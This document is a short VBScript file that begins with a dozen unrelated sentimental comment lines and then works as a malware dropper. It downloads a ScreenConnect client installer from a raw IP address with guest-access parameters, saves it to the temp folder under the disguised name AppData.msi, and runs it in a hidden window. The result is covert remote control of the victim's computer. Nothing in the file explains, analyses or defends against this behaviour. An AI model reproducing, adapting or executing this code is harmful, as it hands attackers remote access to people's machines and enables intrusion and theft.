Dim url, tempPath, http, stream
' Grandma's recipe scribbled on a card
' The thump of a basketball on asphalt
' A toy car missing one wheel
' The scent of a book read many times
' Lanterns glowing in the garden
' The flicker of a candle in a jar
' Stargazing on a clear night
' Soft wool sweater on a chilly day
' A forgotten umbrella at the café
' The warmth of a laptop on a blanket
' Steam rising from a bowl of soup
' A single glove lying on a bus seat

url = "http://64.89.160.169/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c="

Set WshShell = CreateObject("WScript.Shell")
tempPath = WshShell.ExpandEnvironmentStrings("%TEMP%") & "\AppData.msi"

Set http = CreateObject("MSXML2.ServerXMLHTTP")
http.Open "GET", url, False
http.Send

If http.Status = 200 Then
    Set stream = CreateObject("ADODB.Stream")
    stream.Open
    stream.Type = 1
    stream.Write http.responseBody
    stream.SaveToFile tempPath, 2
    stream.Close
    
    WshShell.Run Chr(34) & tempPath & Chr(34), 0
End If